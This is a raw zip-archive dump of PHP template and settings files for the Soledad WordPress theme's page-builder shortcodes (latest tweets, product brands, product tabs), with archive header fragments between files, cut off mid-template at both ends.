if ( $atts['responsive_spacing'] ) {
	echo penci_extract_spacing_style( $block_id, $atts['responsive_spacing'] );
}
if ( $atts['use_ptitle_typo'] ) {
	echo Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['title_fsize'],
		'font_style' => $atts['use_ptitle_typo'],
		'template'   => $block_id_selector . '  .pc-webstory-item .pc-webstory-item-title h4{ %s }',
	) );
}
if ( $atts['bd_color'] ) {
	echo $block_id_selector2 . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper{background-color:' . $atts['bd_color'] . '}';
}
if ( $atts['bd_scolor'] ) {
	echo $block_id_selector2 . ' .pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper{background-color:' . $atts['bd_scolor'] . '}';
}
if ( $atts['bd_w'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper{padding:' . $atts['bd_w'] . 'px}';
}
if ( $atts['bd_iw'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-webstory-thumb{border-width:' . $atts['bd_iw'] . 'px}';
}
if ( $atts['color_title'] ) {
	echo $block_id_selector2 . ' .pc-webstory-item .pc-webstory-item-title h4{color:' . $atts['color_title'] . '}';
}
if ( $atts['gap'] ) {
	echo $block_id_selector . ' .pc-wstories{--gap:' . $atts['gap'] . 'px}';
}
echo '</style>';

wp_enqueue_script( 'penci_web_stories' );
PK     0w\8c    1  js_composer/shortcodes/latest_tweets/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_latest_tweets",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/latest_tweets/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Latest Tweets', 'soledad' ),
	'description'   => 'Latest Tweets Block',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'param_name' => 'custom_markup',
			'type'       => 'penci_custom_markup',
			'value'      => '<span style="color: #ff0000;">Note Important:</span> To use this widget you need fill complete your twitter information <a target="_blank" href="' . admin_url( 'options-general.php?page=tdf_settings' ) . '">here</a>',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Layout:', 'soledad' ),
			'param_name' => 'style',
			'value'      => array(
				__( 'Slider', 'soledad' ) => 'slider',
				__( 'List', 'soledad' )   => 'list',
			),
			'std'        => 'slider',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Align This Widget:', 'soledad' ),
			'param_name' => 'pc_aligncenter',
			'value'      => array(
				__( 'Align Center', 'soledad' ) => 'pc_aligncenter',
				__( 'Align Left', 'soledad' )   => 'pc_alignleft',
				__( 'Align Right', 'soledad' )  => 'pc_alignright',
			),
			'std'        => 'pc_aligncenter',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Hide tweets date?', 'soledad' ),
			'param_name' => 'date',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Disable Auto Play Tweets Slider?', 'soledad' ),
			'param_name' => 'auto',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Custom Reply text:', 'soledad' ),
			'param_name' => 'reply',
			'std'        => esc_html__( 'Reply', 'soledad' ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Custom Retweet text:', 'soledad' ),
			'param_name' => 'retweet',
			'std'        => esc_html__( 'Retweet', 'soledad' ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Custom Favorite text:', 'soledad' ),
			'param_name' => 'favorite',
			'std'        => esc_html__( 'Favorite', 'soledad' ),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'color_Tweets_css',
			'heading'          => esc_html__( 'Tweets colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text color', 'soledad' ),
			'param_name'       => 'tweets_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'tweets_text_size',
			'heading'          => __( 'Font size for Text', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Date color', 'soledad' ),
			'param_name'       => 'tweets_date_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'tweets_date_size',
			'heading'          => __( 'Font size for Date', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon and Link color', 'soledad' ),
			'param_name'       => 'tweets_link_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'tweets_link_size',
			'heading'          => __( 'Font size for Link', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Dot background color', 'soledad' ),
			'param_name'       => 'tweets_dot_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Dot border and background active color', 'soledad' ),
			'param_name'       => 'tweets_dot_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\6    1  js_composer/shortcodes/latest_tweets/frontend.phpnu [        <?php
if ( ! function_exists( 'penci_getTweets' ) ) {
	return;
}
$output = $penci_block_width = $el_class = $css_animation = $css = '';
$date   = $auto = $reply = $retweet = $favorite = $align = $style = $responsive_spacing = '';

$tweets_text_color = $tweets_text_size = $tweets_date_color = $tweets_date_size = '';
$tweets_link_color = $tweets_link_size = $tweets_dot_color = $tweets_dot_hcolor = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$tweets = penci_getTweets( 5 );
if ( empty( $tweets ) ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-latest-tweets-widget';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'latest_tweets' );
$classes   = 'slider' == $style ? 'swiper penci-owl-carousel penci-owl-carousel-slider penci-tweets-slider' : 'penci-tweets-lists';
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
			<?php
			if ( isset( $tweets['error'] ) ) {
				echo 'Missing Twitter API Keys - please connect your Twitter Account by go to admin > Soledad > Connect Twitter';
			} else {
				$rtl_align = is_rtl() ? 'pc_alignright' : 'pc_alignleft';
				$align     = $style == 'slider' ? $align : $rtl_align;
				?>
                <div class="penci-tweets-widget-content <?php echo $align; ?>">
					<?php if ( $style == 'slider' ): ?>
                        <span class="icon-tweets"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></span>
					<?php endif; ?>
                    <div class="<?php echo esc_attr( $classes ); ?>" data-dots="true"
                         data-nav="false" data-auto="<?php if ( 'yes' == $auto ) {
						echo 'false';
					} else {
						echo 'true';
					} ?>">
						<?php 
						$item_class = 'normal-item';
						if ( 'slider' == $style ) {
							echo '<div class="swiper-wrapper">';
							$item_class = 'swiper-slide';
						}
						foreach ( $tweets as $tweet ):
							$date_array = explode( ' ', $tweet['created_at'] );
							$tweet_id = $tweet['id_str'];
							$tweet_text = $tweet['text'];
							$urls = $tweet['entities']['urls'];

							if ( isset( $urls ) ) {
								foreach ( $urls as $ul ) {
									$url = $ul['url'];
									if ( isset( $url ) ):
										$tweet_text = str_replace( $url, '<a href="' . $url . '" target="_blank">' . $url . '</a>', $tweet_text );
									endif;
								}
							}
							?>
                            <div class="penci-tweet <?php echo $item_class;?>">

								<?php if ( $style == 'list' ):
									$reply = '<i class="fa fa-reply" aria-hidden="true"></i>';
									$retweet = '<i class="fa fa-retweet" aria-hidden="true"></i>';
									$favorite = '<i class="fa fa-thumbs-up" aria-hidden="true"></i>';
									?>

                                    <div class="tweet-list-top">

										<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! 'yes' == $date ): ?>
                                            <span class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></span>
										<?php endif; ?>

                                    </div>

								<?php endif; ?>

                                <div class="tweet-text">
									<?php echo $tweet_text; ?>
                                </div>
								<?php if ( $style == 'slider' && $date_array[1] && $date_array[2] && $date_array[5] && ! 'yes' == $date ): ?>
                                    <p class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></p>
								<?php endif; ?>
                                <div class="tweet-intents">
                                    <div class="tweet-intents-inner">
                                        <span><a target="_blank" class="reply"
                                                 href="https://x.com/intent/tweet?in_reply_to=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $reply ); ?></a></span>
                                        <span><a target="_blank" class="retweet"
                                                 href="https://x.com/intent/retweet?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $retweet ); ?></a></span>
                                        <span><a target="_blank" class="favorite"
                                                 href="https://x.com/intent/favorite?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $favorite ); ?></a></span>
                                    </div>
                                </div>
                            </div>
						<?php endforeach;
						if ( 'slider' == $style ) {
							echo '</div>';
						}
						?>
                    </div>
                </div>

				<?php
			}
			?>
        </div>
    </div>
<?php

$id_latest_tweets = '#' . $block_id;
$id_latest_tweets2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom       = Penci_Vc_Helper::get_heading_block_css( $id_latest_tweets, $atts );

if ( $tweets_text_color ) {
	$css_custom .= $id_latest_tweets . ' .tweet-text{ color:' . esc_attr( $tweets_text_color ) . ' }';
}
if ( $tweets_text_size ) {
	$css_custom .= $id_latest_tweets . ' .tweet-text{ font-size:' . esc_attr( $tweets_text_size ) . ' }';
}
if ( $tweets_date_color ) {
	$css_custom .= $id_latest_tweets2 . ' .tweet-date{ color:' . esc_attr( $tweets_date_color ) . ' }';
}
if ( $tweets_text_size ) {
	$css_custom .= $id_latest_tweets . ' .tweet-date{ font-size:' . esc_attr( $tweets_text_size ) . ' }';
}
if ( $tweets_link_color ) {
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents-inner:after,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents-inner:before{background-color:' . esc_attr( $tweets_link_color ) . '}';

	$css_custom .= $id_latest_tweets2 . ' .tweet-text a,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .icon-tweets,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents span:after,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents a{ color:' . esc_attr( $tweets_link_color ) . ' }';
}
if ( $tweets_link_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_latest_tweets . ' .penci-tweets-widget-content .tweet-intents a{ font-size:{{VALUE}}px }', $tweets_text_size );
}
if ( $tweets_dot_color ) {
	$css_custom .= $id_latest_tweets2 . ' .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot span{ border-color:' . esc_attr( $tweets_dot_color ) . ';background-color:' . esc_attr( $tweets_dot_color ) . ' }';
}
if ( $tweets_dot_hcolor ) {
	$css_custom .= $id_latest_tweets2 . ' .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span,';
	$css_custom .= $id_latest_tweets2 . ' .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span{ border-color:' . esc_attr( $tweets_dot_hcolor ) . ';background-color:' . esc_attr( $tweets_dot_hcolor ) . '}';
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_latest_tweets, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\L"A  A  1  js_composer/shortcodes/product_brand/settings.phpnu [        <?php
$group_color = 'Typo & Color';
vc_map( array(
	'base'          => 'penci_product_brand',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product_brand/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Product Brand', 'soledad' ),
	'description'   => __( 'Show the product brand list', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Number', 'soledad' ),
				'value'            => '',
				'param_name'       => 'number',
				'edit_field_class' => 'vc_col-sm-4',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Order by', 'soledad' ),
				'param_name'       => 'orderby',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					''                                      => '',
					esc_html__( 'Name', 'soledad' )         => 'name',
					esc_html__( 'ID', 'soledad' )           => 'term_id',
					esc_html__( 'Slug', 'soledad' )         => 'slug',
					esc_html__( 'Random order', 'soledad' ) => 'random',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Sort order', 'soledad' ),
				'param_name'       => 'order',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Inherit', 'soledad' )    => '',
					esc_html__( 'Descending', 'soledad' ) => 'DESC',
					esc_html__( 'Ascending', 'soledad' )  => 'ASC',
				),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Hide Empty', 'soledad' ),
				'param_name'       => 'hide_empty',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'edit_field_class' => 'vc_col-sm-4',
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Brand', 'soledad' ),
				'param_name'       => 'ids',
				'edit_field_class' => 'vc_col-sm-4',
			),
		),
		array(
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Brand images hover', 'soledad' ),
				'param_name'       => 'hover',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Default', 'soledad' )   => 'default',
					esc_html__( 'Simple', 'soledad' )    => 'simple',
					esc_html__( 'Alternate', 'soledad' ) => 'alt',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Style', 'soledad' ),
				'param_name'       => 'style',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Default', 'soledad' )  => 'default',
					esc_html__( 'Bordered', 'soledad' ) => 'bordered',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Layout', 'soledad' ),
				'param_name'       => 'layout',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Carousel', 'soledad' )   => 'carousel',
					esc_html__( 'Grid', 'soledad' )       => 'grid',
					esc_html__( 'Links List', 'soledad' ) => 'list',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Columns', 'soledad' ),
				'param_name'       => 'columns',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( '2 Columns', 'soledad' ) => 2,
					esc_html__( '3 Columns', 'soledad' ) => 3,
					esc_html__( '4 Columns', 'soledad' ) => 4,
					esc_html__( '5 Columns', 'soledad' ) => 5,
					esc_html__( '6 Columns', 'soledad' ) => 6,
				),
				'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'list' ) ),
			),
		),
		array(
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Slides per view', 'soledad' ),
				'param_name'       => 'slides_per_view',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( '2 Columns', 'soledad' ) => 2,
					esc_html__( '3 Columns', 'soledad' ) => 3,
					esc_html__( '4 Columns', 'soledad' ) => 4,
					esc_html__( '5 Columns', 'soledad' ) => 5,
					esc_html__( '6 Columns', 'soledad' ) => 6,
				),
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Hide pagination control', 'soledad' ),
				'param_name'       => 'hide_pagination_control',
				'edit_field_class' => 'vc_col-sm-4',
				'default'          => 'no',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Hide prev/next buttons', 'soledad' ),
				'param_name'       => 'hide_prev_next_buttons',
				'edit_field_class' => 'vc_col-sm-4',
				'default'          => 'no',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Slider loop', 'soledad' ),
				'param_name'       => 'wrap',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Slider autoplay', 'soledad' ),
				'param_name'       => 'autoplay',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Slider speed', 'soledad' ),
				'param_name'       => 'speed',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Init carousel on scroll', 'soledad' ),
				'param_name'       => 'scroll_carousel_init',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\ko    1  js_composer/shortcodes/product_brand/frontend.phpnu [        <?php
$settings         = vc_map_get_attributes( $this->getShortcode(), $atts );
$default_settings = [
	'number'               => 20,
	'hover'                => 'default',
	'target'               => '_self',
	'link'                 => '',
	'ids'                  => '',
	'style'                => 'carousel',
	'brand_style'          => 'default',
	'slides_per_view'      => 3,
	'columns'              => 3,
	'orderby'              => '',
	'hide_empty'           => 0,
	'order'                => 'ASC',
	'scroll_carousel_init' => 'no',
	'custom_sizes'         => apply_filters( 'penci_brands_shortcode_custom_sizes', false ),
];

$atts['hide_empty']              = 'yes' == $atts['hide_empty'];
$atts['hide_pagination_control'] = 'yes' == $atts['hide_pagination_control'];
$atts['hide_prev_next_buttons']  = 'yes' == $atts['hide_prev_next_buttons'];
$atts['wrap']                    = 'yes' == $atts['wrap'];
$atts['autoplay']                = 'yes' == $atts['autoplay'];

$settings = wp_parse_args( $atts, $settings );

$carousel_id = 'brands_' . rand( 1000, 9999 );

$attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

if ( empty( $attribute ) || ! taxonomy_exists( $attribute ) ) {
	echo '<div class="penci-notice penci-info">' . esc_html__( 'You must select your brand attribute in Appearance -> Customize -> WooCommerce > Brands', 'soledad' ) . '</div>';

	return;
}

$settings['columns']         = isset( $settings['columns'] ) ? $settings['columns'] : 3;
$settings['slides_per_view'] = isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3;

$owl_attributes = '';

$item_class          = [];
$wrapper_class       = [];
$wrapper_id          = $carousel_id;
$items_wrapper_class = [];
$items_wrapper_data  = [];
$wrapper_class[]     = 'brands-items-wrapper';
$wrapper_class[]     = 'brands-widget';
$wrapper_class[]     = 'slider-' . $carousel_id;
$wrapper_class[]     = 'brands-hover-' . $settings['hover'];
$wrapper_class[]     = 'brands-style-' . $settings['brand_style'];

if ( $settings['style'] ) {
	$element_class[] = 'brands-' . $settings['style'];
}

if ( 'carousel' === $settings['style'] ) {
	$settings['scroll_per_page'] = 'yes';
	$settings['carousel_id']     = $carousel_id;
	$owl_attributes              = '';

	$wrapper_class[]       = 'penci-carousel-container';
	$items_wrapper_class[] = 'penci-owl-carousel penci-owl-carousel-slider swiper';

	$item_class[]          = 'swiper-slide';


	$items_wrapper_data[] = 'data-item="' . ( isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3 ) . '"';
	$items_wrapper_data[] = 'data-dots"' . $settings['hide_pagination_control'] . '"';
	$items_wrapper_data[] = 'data-nav"' . $settings['hide_prev_next_buttons'] . '"';
	$items_wrapper_data[] = 'data-loop"' . $settings['wrap'] . '"';
	$items_wrapper_data[] = 'data-auto"' . $settings['autoplay'] . '"';
	$items_wrapper_data[] = 'data-speed"' . $settings['speed'] . '"';
	$items_wrapper_data[] = 'data-lazy"' . $settings['scroll_carousel_init'] . '"';

	if ( 'yes' === $settings['scroll_carousel_init'] ) {
		$wrapper_class[] = 'scroll-init';
	}

	if ( get_theme_mod( 'penci_disable_owl_mobile_devices' ) ) {
		$wrapper_class[] = 'disable-owl-mobile';

	}
} else {
	$item_class[]          = 'column-item';
	$items_wrapper_class[] = 'penci-custom-row row-' . $settings['columns'];
}

$args = array(
	'taxonomy'   => $attribute,
	'hide_empty' => $settings['hide_empty'],
	'order'      => $settings['order'],
	'number'     => $settings['number'],
);

if ( $settings['orderby'] ) {
	$args['orderby'] = $settings['orderby'];
}

if ( 'random' === $settings['orderby'] ) {
	$args['orderby'] = 'id';
	$brand_count     = wp_count_terms( $attribute, array(
		'hide_empty' => $settings['hide_empty'],
	) );

	$offset = rand( 0, $brand_count - (int) $settings['number'] );
	if ( $offset <= 0 ) {
		$offset = '';
	}
	$args['offset'] = $offset;
}

if ( $settings['ids'] ) {
	$args['include'] = $settings['ids'];
}

$brands   = get_terms( $args );
$taxonomy = get_taxonomy( $attribute );

if ( 'random' === $settings['orderby'] ) {
	shuffle( $brands );
}

if ( penci_is_shop_on_front() ) {
	$link = home_url();
} else {
	$link = get_post_type_archive_link( 'product' );
}

?>
    <div <?php echo implode( ' ', $wrapper_class ); ?>>
		<?php Penci_Vc_Helper::markup_block_title( $settings ); ?>
        <div <?php echo implode( ' ', $items_wrapper_class ); ?> <?php echo implode( ' ', $items_wrapper_data ); ?>>
        	<div class="swiper-wrapper">
			<?php if ( ! is_wp_error( $brands ) && count( $brands ) > 0 ) : ?>
				<?php foreach ( $brands as $key => $brand ) : ?>
					<?php
					$image       = get_term_meta( $brand->term_id, 'image', true );
					$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $attribute ) );

					if ( is_object( $taxonomy ) && $taxonomy->public ) {
						$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
					} else {
						$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
					}

					?>

                    <div <?php echo implode( ' ', $item_class ); ?>>
                        <a title="Brand <?php echo esc_html( $brand->name ); ?>"
                           href="<?php echo esc_url( $attr_link ); ?>">
							<?php if ( 'list' === $settings['style'] || ! $image ) : ?>
                                <span class="brand-title-wrap">
										<?php echo esc_html( $brand->name ); ?>
									</span>
							<?php else : ?>
								<?php echo '<img src="' . wp_get_attachment_image_url( $image, 'full' ) . '" alt="' . $brand->name . '" title="' . $brand->name . '">'; ?>
							<?php endif; ?>
                        </a>
                    </div>
				<?php endforeach; ?>
			<?php endif; ?>
			</div>
        </div>
    </div>
<?php
PK     0w\Kh  h  /  js_composer/shortcodes/product_tab/settings.phpnu [        <?php
vc_map(
	array(
		'name'                    => penci_get_theme_name('Penci').' '.esc_html__( 'Products tab', 'soledad' ),
		'base'                    => 'penci_product_tab',
		'as_child'                => array( 'only' => 'penci_products_tabs' ),
		'content_element'         => true,
		'show_settings_on_create' => true,
		'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product_tab/frontend.php',
		'category'                => penci_get_theme_name('Soledad'),
		'description'             => esc_html__( 'Product tabs for your marketplace', 'soledad' ),
		'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'params'                  => array_merge( array(
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Tab Title', 'soledad' ),
				'param_name'  => 'title',
				'admin_label' => true,
			),
			/**
			 * Icon
			 */
			array(
				'type'             => 'attach_image',
				'heading'          => esc_html__( 'Icon for the tab', 'soledad' ),
				'param_name'       => 'icon',
				'hint'             => esc_html__( 'Select icon from media library.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Icon size', 'soledad' ),
				'param_name'       => 'icon_size',
				'hint'             => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
				'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
			)
		), penci_get_products_shortcode_params() )
	)
);
PK     0w\1U    /  js_composer/shortcodes/product_tab/frontend.phpnu [        <?php
if ( ! function_exists( 'wpb_getImageBySize' ) ) {
	return;
}
$output                = $class = $autoplay = $header_classes = $design = $responsive_spacing = '';
$item_vertical_spacing = $item_horizontal_spacing = $hide_hot_label = $hide_new_label = $hide_sale_label = '';
$atts                  = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );
$block_id          = Penci_Vc_Helper::get_unique_id_block( 'penci_product_tabs' );
$atts['elementor'] = false;
$id_product        = '#' . $block_id;

$img_id  = preg_replace( '/[^\d]/', '', $image );
$tabs_id = 'penci-tab-' . uniqid();

// Extract tab titles
preg_match_all( '/penci_product_tab([^\]]+)/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tab_titles = array();

if ( isset( $matches[1] ) ) {
	$tab_titles = $matches[1];
}

$tabs_nav        = '';
$first_tab_title = '';
$tabs_nav        .= '<ul class="products-tabs-title">';
$_i              = 0;
foreach ( $tab_titles as $tab ) {
	$_i ++;
	$tab_atts                       = shortcode_parse_atts( $tab[0] );
	$tab_atts['carousel_js_inline'] = 'yes';
	$encoded_atts                   = wp_json_encode( array_intersect_key( array_merge( $atts, $tab_atts ), penci_custom_product_query_default_args() ) );
	$icon_output                    = '';

	if ( empty( $tab_atts['icon_size'] ) ) {
		$tab_atts['icon_size'] = '25x25';
	}

	// Tab icon
	if ( isset( $tab_atts['icon'] ) ) {
		$icon_output = penci_display_icon( $tab_atts['icon'], $tab_atts['icon_size'], 25 );
	}

	if ( $_i == 1 && isset( $tab_atts['title'] ) ) {
		$first_tab_title = $tab_atts['title'];
	}
	$class = ( $_i == 1 ) ? ' active-tab-title' : '';
	if ( isset( $tab_atts['title'] ) ) {
		$query_id = strtolower( sanitize_title_with_dashes( $tab_atts['title'] ) );
		$tabs_nav .= '<li data-queryid="' . esc_attr( $query_id ) . '" data-layout="' . esc_attr( $atts['layout'] ) . '" data-atts="' . esc_attr( $encoded_atts ) . '" class="' . esc_attr( $class ) . '">' . $icon_output . '<span class="tab-label">' . $tab_atts['title'] . '</span></li>';
	}
}

$tabs_nav .= '</ul>';

$class .= ' tabs-' . $tabs_id;

$class .= ' tabs-design-' . $design;

$class .= ' ' . $el_class;

$class .= 'penci-products-tabs';

$header_classes .= ' text-' . $alignment;

?>
    <div class="elementor-element elementor-widget-container penci-product-tabs-wrapper woocommerce">
        <div id="<?php echo esc_attr( $tabs_id ); ?>"
             class="penci-products-tabs<?php echo esc_attr( $class ); ?>">
            <div class="penci-tabs-header<?php echo esc_attr( $header_classes ); ?>">
				<?php if ( ! empty( $title ) ) : ?>
                    <h4 class="tabs-name title">
						<?php
						if ( $img_id ) {
							echo penci_display_icon( $img_id, $img_size, 30 );
						}
						?>
                        <span class="tabs-text"><?php echo wp_kses( $title, penci_allow_html() ); ?></span>
                    </h4>
				<?php endif; ?>
                <div class="tabs-navigation-wrapper">
                    <span class="open-title-menu"><?php echo wp_kses( $first_tab_title, penci_allow_html() ); ?></span>
					<?php
					echo ! empty( $tabs_nav ) ? $tabs_nav : '';
					?>
                </div>
            </div>
            <div class="penci-tab-content-container">
                <div class="penci-products-preloader">
                <span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span
                            class="bubble"></span></span>
                </div>
				<?php
				if ( isset( $tab_titles[0][0] ) ) {
					$first_tab_atts          = array_intersect_key( array_merge( $atts, shortcode_parse_atts( $tab_titles[0][0] ) ), penci_custom_product_query_default_args() );
					$first_tab_atts['class'] = 'active';
					penci_elementor_products_template( $first_tab_atts );
				}
				?>
